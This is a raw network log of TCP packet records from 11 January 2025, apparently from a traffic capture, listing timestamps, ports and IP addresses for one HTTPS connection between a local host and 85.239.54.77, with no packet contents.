Jan 11, 2025 09:26:45.725934982 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.725958109 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.725974083 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.726481915 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.726496935 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.726557970 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.726562023 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.726602077 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.726963043 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.726979017 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.727030993 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.727034092 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.727075100 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.727528095 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.727545023 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.727591038 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.727593899 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.727665901 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.787062883 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.787101030 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.787138939 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.787148952 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.787173033 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.787184954 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.811141968 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.811160088 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.811219931 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.811224937 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.811266899 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.811780930 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.811803102 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.811830044 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.811832905 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.811858892 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.811875105 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.812279940 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.812295914 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.812325954 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.812329054 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.812351942 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.812371969 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.812870026 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.812886953 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.812935114 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.812938929 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.812969923 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.813515902 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.813530922 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.813580036 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.813584089 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.813618898 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.813960075 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.813976049 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.814023018 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.814026117 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.814064026 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.814431906 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.814445972 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.814507961 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.814512014 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.814548016 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.874041080 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.874075890 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.874202967 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.874217987 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.874260902 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.875425100 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.898135900 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.898161888 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.898291111 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.898322105 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.898361921 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.898598909 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.898614883 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.898695946 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.898704052 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.898742914 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.899091959 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.899106979 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.899162054 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.899171114 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.899197102 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.899210930 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.899657965 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.899672985 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.899729967 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.899738073 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.899771929 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.900424004 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.900440931 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.900499105 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.900507927 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.900551081 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.901017904 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.901040077 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.901087046 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.901094913 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.901128054 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.901473045 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.901487112 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.901542902 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.901552916 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.901587963 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.960784912 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.960808039 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.960942984 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.960993052 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.961036921 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.984874964 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.984893084 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.985009909 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.985025883 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.985069036 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.985454082 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.985470057 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.985522985 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.985528946 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.985567093 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.985943079 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.985958099 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.986004114 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.986011982 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.986064911 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.986619949 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.986634016 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.986676931 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.986685038 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.986725092 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.987278938 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.987293959 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.987354994 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.987361908 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.987400055 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.987853050 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.987869024 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.987945080 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.987952948 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.987996101 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.988317013 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.988329887 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.988377094 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.988384008 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:45.988400936 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:45.988419056 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.047661066 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.047683954 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.047787905 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.047821999 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.047859907 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.071649075 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.071669102 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.071810961 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.071840048 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.071906090 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.072256088 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.072272062 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.072307110 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.072323084 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.072344065 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.072359085 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.072809935 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.072827101 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.072863102 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.072880030 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.072913885 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.073596954 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.073612928 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.073653936 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.073668957 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.073704004 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.074435949 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.074445009 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.074487925 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.074505091 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.074543953 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.074933052 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.074948072 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.074986935 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.074996948 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.075009108 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.075021982 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.075026989 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.075059891 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.075072050 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.075088978 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.075098991 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.134505987 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.134543896 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.134665966 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.134686947 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.134744883 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.158544064 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.158582926 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.158674955 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.158682108 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.158726931 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.159030914 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.159055948 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.159100056 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.159106970 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.159142017 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.159590960 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.159614086 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.159658909 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.159665108 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.159688950 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.159710884 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.160155058 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.160171032 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.160208941 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.160218000 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.160237074 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.160264015 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.160738945 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.160754919 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.160792112 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.160798073 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.160830021 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.160845995 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.161187887 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.161211967 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.161251068 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.161261082 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.161279917 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.161305904 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.161768913 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.161803007 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.161834002 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.161839962 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.161861897 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.161880970 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.221395969 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.221846104 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.221873999 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.221949100 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.221975088 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.222022057 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.245399952 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.245431900 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.245543957 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.245572090 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.245609045 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.245898962 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.245920897 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.245956898 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.245968103 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.245985031 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.246002913 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.246418953 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.246443033 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.246490002 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.246512890 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.246552944 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.247016907 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.247041941 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.247081041 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.247092962 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.247124910 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.247591019 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.247606993 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.247648001 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.247663021 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.247698069 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.248262882 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.248282909 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.248320103 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.248346090 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.248359919 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.248384953 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.248616934 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.248632908 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.248677015 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.248686075 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.248706102 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.248724937 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.308106899 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.308130980 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.308267117 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.308301926 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.308345079 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.332293034 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.332350969 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.332464933 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.332494020 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.332581043 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.332854033 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.332892895 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.332935095 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.332947969 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.333058119 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.333394051 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.333431005 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.333475113 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.333484888 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.333534002 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.333852053 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.333897114 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.333935022 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.333942890 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.333993912 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.334403038 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.334445953 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.334489107 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.334497929 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.334549904 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.334897995 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.334945917 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.334985971 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.335001945 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.335047960 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.335091114 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.335722923 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.335760117 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.335836887 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.335854053 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.335911989 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.395123005 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.395188093 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.395221949 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.395256996 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.395277023 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.395288944 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.419159889 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.419214964 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.419245958 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.419281006 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.419305086 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.419328928 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.419563055 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.419605970 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.419626951 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.419636011 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.419661045 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.419677019 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.420152903 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.420234919 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.420238972 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.420264959 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:46.420289040 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:46.420305967 CET	49941	443	192.168.2.7	85.239.54.77
